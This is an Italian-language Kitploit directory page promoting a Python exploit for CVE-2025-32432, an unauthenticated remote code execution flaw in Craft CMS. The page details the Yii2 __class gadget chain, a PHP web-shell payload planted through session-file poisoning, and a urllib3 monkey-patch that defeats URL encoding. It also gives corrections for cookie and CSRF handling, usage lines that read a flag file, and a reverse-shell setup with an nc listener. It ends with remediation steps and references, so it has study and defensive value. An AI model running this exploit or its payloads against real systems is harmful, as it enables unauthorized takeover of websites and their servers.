Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-32432 — Exploit Python per CVE-2025-32432, un RCE non autenticato in Craft CMS tramite Yii2 __class injection, con esecuzione di comandi e supporto reverse shell. | Kitploit
Strumenti/GitHubGitHub/e5dfdd568a75282b712b6d93a7a18e12/cve-2025-32432
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingStrumento di Accesso Remoto
GitHube5dfdd568a75282b712b6d93a7a18e12/cve-2025-32432

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

CVE-2025-32432

Exploit Python per CVE-2025-32432, un RCE non autenticato in Craft CMS tramite Yii2 __class injection, con esecuzione di comandi e supporto reverse shell.

Vedi Repository
8h 8m faNon ancora revisionato
Condividi

CVE-2025-32432 — Craft CMS <= 5.6.16 RCE non autenticato

Gravità: Critica (CVSS 10.0) Autenticazione richiesta: Nessuna Affetto: Craft CMS 3.0.0-RC1 - 3.9.14, 4.0.0-RC1 - 4.14.14, 5.0.0-RC1 - 5.6.16 Corretto in: Craft CMS 3.9.15 / 4.14.15 / 5.6.17, Yii2 2.0.50


Causa principale

AssetsController::actionGenerateTransform() è dichiarato allowAnonymous, rendendolo raggiungibile senza autenticazione. Passa il parametro handle controllato dall'utente direttamente in Yii::createObject():

root@kitploit:~
protected array|bool|int $allowAnonymous = ['generate-thumb', 'generate-transform'];

public function actionGenerateTransform(): Response
{
    $handle = Craft::$app->getRequest()->getBodyParam('handle');
    $transform = ImageTransforms::normalizeTransform($handle); // -> Yii::createObject($handle)
}

Il container DI di Yii tratta due chiavi di array speciali senza alcuna allow-list:

ChiaveComportamento
__classIstanzia questa classe invece del tipo dichiarato
__construct()Passa questi valori come argomenti del costruttore

Catena di gadget:

root@kitploit:~
handle[as x][__class]       = yii\rbac\PhpManager
handle[as x][__construct()] = [{"itemFile": "/tmp/sess_<CraftSessionId>"}]
                                        |
    PhpManager::init() -> load() -> loadFromFile($itemFile) -> require $itemFile

L'avvelenamento del file di sessione chiude il cerchio: il gestore di sessione di PHP scrive i valori dei parametri GET testualmente in /tmp/sess_<CraftSessionId>. Inviando <?=shell_exec($_GET['cmd']);exit;?> come parametro di query si pianta PHP eseguibile in un percorso noto e controllato dall'attaccante.


Perché i PoC pubblici esistenti falliscono

1. La codifica URL distrugge il payload PHP

La libreria requests di Python codifica in URL <, >, ?, = prima che raggiungano il server. Il file di sessione memorizza %3C%3Fphp... (innocuo) invece di <?php... (eseguibile).

root@kitploit:~
# ROTTO — requests codifica < > ? = prima che raggiungano il server
requests.get(url, params={"a": "<?php system('id'); ?>"})
# Wire: GET /index.php?a=%3C%3Fphp+system%28%27id%27%29%3B+%3F%3E
# Session file: a|s:30:"%3C%3Fphp+system%28%27id%27%29%3B+%3F%3E";

Correzione: Effettuare il monkey-patch di HTTPConnectionPool._make_request — il punto finale prima della scrittura sul socket TCP — e chiamare urllib.parse.unquote() lì:

root@kitploit:~
def _raw_request(self, conn, method, url, **kw):
    url = urllib.parse.unquote(url)   # ripristina < > ? = appena prima dell'invio
    return self._orig_req(conn, method, url, **kw)

urllib3.connectionpool.HTTPConnectionPool._orig_req = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = _raw_request

2. Nome del cookie di sessione errato

Craft CMS imposta CraftSessionId, non PHPSESSID.

root@kitploit:~
# ROTTO
session_id = session.cookies.get("PHPSESSID")   # -> None

# CORRETTO
session_id = sess.cookies.get("CraftSessionId")

3. Token CSRF mancante sulla richiesta di trigger

Craft convalida i token CSRF su tutte le azioni POST non anonime. Omettere il token causa 400 Bad Request.

root@kitploit:~
# ROTTO
requests.post(url, json=payload)

# CORRETTO
requests.post(url, json=payload, headers={"X-CSRF-Token": csrf})

Tabella di confronto

ProblemaPoC di log-poisoningSessione (cookie errato)Sessione (senza CSRF)Questo PoC
Codifica URLN/A (User-Agent)ROTTOROTTOCORRETTO con monkey-patch
Nome cookieN/AROTTO PHPSESSIDROTTO PHPSESSIDCORRETTO CraftSessionId
CSRF sul triggerOKOKROTTOCORRETTO
Uscita log obsoleto;ROTTON/AN/AN/A
Funziona sul prefisso /cmsROTTOROTTOROTTOCORRETTO

Utilizzo

root@kitploit:~
usage: exploit.py [-h] -u URL [-c CMD] [-a ASSET_ID] [-s SCAN_MAX]
                  [--revshell] [--lhost LHOST] [--lport LPORT]

options:
  -u URL          URL di base di Craft CMS incluso il prefisso del percorso
  -c CMD          Comando shell da eseguire
  -a ASSET_ID     assetId valido noto (salta la scansione automatica)
  -s SCAN_MAX     Limite superiore per la scansione di assetId (predefinito: 50)
  --revshell      Invia una reverse shell PHP
  --lhost LHOST   IP del listener (richiesto con --revshell)
  --lport LPORT   Porta del listener (richiesta con --revshell)
root@kitploit:~
python3 exploit.py -u http://target:8088/cms -c "id"
python3 exploit.py -u http://target:8088/cms -c "cat /flag/flag.txt"

# Reverse shell (PHP evita problemi di quoting di bash)
nc -lvnp 4444
python3 exploit.py -u http://target:8088/cms --revshell --lhost 10.10.14.1 --lport 4444

Remediation

AzioneDettaglio
Aggiornare Craft CMS3.9.15 / 4.14.15 / 5.6.17 convalida che handle implementi ImageTransformerInterface
Aggiornare Yii22.0.50 blocca l'iniezione di __class in Component::__set
Regola WAFBloccare __class o __construct() nel corpo della richiesta verso /actions/assets/generate-transform

Riferimenti

  • NVD - CVE-2025-32432
  • Craft CMS Security Advisory
  • Craft CMS Knowledge Base
  • SensePost Analysis
  • OPSWAT Technical Writeup

Solo per test di sicurezza autorizzati e scopi educativi.

Scarica lo strumento